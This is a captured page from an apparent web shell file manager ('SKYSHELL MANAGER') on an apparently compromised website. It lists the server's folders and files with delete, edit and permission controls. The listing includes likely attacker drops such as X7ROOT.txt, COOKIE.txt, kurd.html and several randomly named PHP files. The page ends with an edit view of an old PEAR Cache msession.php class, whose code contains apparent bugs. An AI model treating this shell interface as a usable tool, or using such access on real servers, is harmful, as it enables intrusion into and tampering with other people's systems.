📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: msession.php
<?php // +----------------------------------------------------------------------+ // | PEAR :: Cache | // +----------------------------------------------------------------------+ // | Copyright (c) 1997-2003 The PHP Group | // +----------------------------------------------------------------------+ // | This source file is subject to version 2.0 of the PHP license, | // | that is bundled with this package in the file LICENSE, and is | // | available at through the world-wide-web at | // | http://www.php.net/license/2_02.txt. | // | If you did not receive a copy of the PHP license and are unable to | // | obtain it through the world-wide-web, please send a note to | // | license@php.net so we can mail you a copy immediately. | // +----------------------------------------------------------------------+ // | Authors: Ulf Wendel <ulf.wendel@phpdoc.de> | // +----------------------------------------------------------------------+ // // $Id: msession.php 178289 2005-01-26 09:47:28Z dufuz $ require_once 'Cache/Container.php'; /** * Stores cache contents in msessions. * * WARNING: experimental, untested * * @author Ulf Wendel <ulf.wendel@phpdoc.de> * @version $Id: msession.php 178289 2005-01-26 09:47:28Z dufuz $ */ class Cache_Container_msession extends Cache_Container { /** * Length of the Cache-Identifier * * Note that the PEAR-Cache prefixes the ID with an md5() value * of the cache-group. A good value for the id_length * depends on the maximum number of entries per cache group. * * @var int */ var $id_length = 32; /** * Use msession_uniq to create a unique SID. * * @var boolean */ var $uniq = true; /** * Establish a connection to a msession server? * * @var boolean */ var $connect = true; /** * msession host * * @var string */ var $host = null; /** * msession port * * @var string */ var $port = null; /** * mesession server connection * * @var resource msession */ var $ms = null; function Cache_Container_msession($options = '') { if (is_array($options)) { $this->setOptions($options, array_merge($this->allowed_options, array('id_length', 'uniq', 'host', 'port', 'connect'))); } if ($connect) { if ($this->host == null) { new Cache_Error('No host specified.', __FILE__, __LINE__); } if ($this->port == null) { new Cache_Error('No port specified.', __FILE__, __LINE__); } if (!($this->ms = msession_connect($this->host, $this->port))) { new Cache_Error('Can not connect to the sever using host "' . $this->host . '" on port "' . $this->port . '"', __FILE__, __LINE__); } } } // end func contructor function fetch($id, $group) { $id = strtoupper(md5($group)) . $id; $group = msession_get($id, '_pear_cache_data', null); if ($data == null) { return array(null, null, null); } return array($data['expires'], $data['cachedata'], $data['userdata']); } // end func fetch /** * Stores a dataset. * * WARNING: If you supply userdata it must not contain any linebreaks, * otherwise it will break the filestructure. */ function save($id, $cachedata, $expires, $group, $userdata) { $this->flushPreload($id, $group); $cachedata = $this->encode($cachedata); $expires_abs = $this->getExpiresAbsolute($expires); $size = 1 + strlen($cachedata) + strlen($expires_abs) + strlen($userdata) + strlen($group); $size += strlen($size); $data = array( 'cachedata' => $cachedata, 'expires' => $expires_abs, 'userdata' => $userdata ); $id = strtoupper(md5($group)) . $id; msession_lock($id); if (!msession_set($id, '_pear_cache', true)) { msession_unlock($id); return new Cache_Error("Can't write cache data.", __FILE__, __LINE__); } if (!msession_set($id, '_pear_cache_data', $data)) { msession_unlock($id); return new Cache_Error("Can't write cache data.", __FILE__, __LINE__); } if (!msession_set($id, '_pear_cache_group', $group)) { msession_unlock($id); return new Cache_Error("Can't write cache data.", __FILE__, __LINE__); } if (!msession_set($id, '_pear_cache_size', $size)) { msession_unlock($id); return new Cache_Error("Can't write cache data.", __FILE__, __LINE__); } // let msession do some GC as well // note that msession works different from the PEAR Cache. // msession deletes an entry if it has not been used for n-seconds. // PEAR Cache deletes after n-seconds. if ($expires != 0) { msession_timeout($id, $expires); } msession_unlock($id); return true; } // end func save function remove($id, $group) { $this->flushPreload($id, $group); return msession_destroy(strtoupper(md5($group)) . $id); } // end func remove function flush($group) { $this->flushPreload(); $sessions = msession_find('_pear_cache_group', $group); if (empty($sessions)) { return 0; } foreach ($sessions as $k => $id) messsion_destroy($id); return count($sessions); } // end func flush function idExists($id, $group) { return (msession_get(strtoupper(md5($group)) . $id, '_pear_cache_group', null) == null) ? false : true; } // end func idExists /** * Deletes all expired files. * * Note: garbage collection should cause lot's of network traffic. * * @param integer Maximum lifetime in seconds of an no longer used/touched entry * @throws Cache_Error */ function garbageCollection($maxlifetime) { $this->flushPreload(); $sessions = msession_find('_pear_cache', true); if (empty($sessions)) return true; $total = 0; $entries = array(); foreach ($sessions as $k => $id) { $data = msession_get($id, '_pear_cache_data', null); if (null == $data) { continue; } if ($data['expires'] <= time()) { msession_destroy($id); continue; } $size = msession_get($id, '_pear_cache_size', null); $total += $size; $entries[$data['expires']] = array($id, $size); } if ($total > $this->highwater) { krsort($entries); reset($entries); while ($total > $this->lowwater && list($expires, $entry) = each($entries)) { msession_destroy($entry[0]); $total -= $entry[1]; } } return true; } // end func garbageCollection } // end class file ?>
Save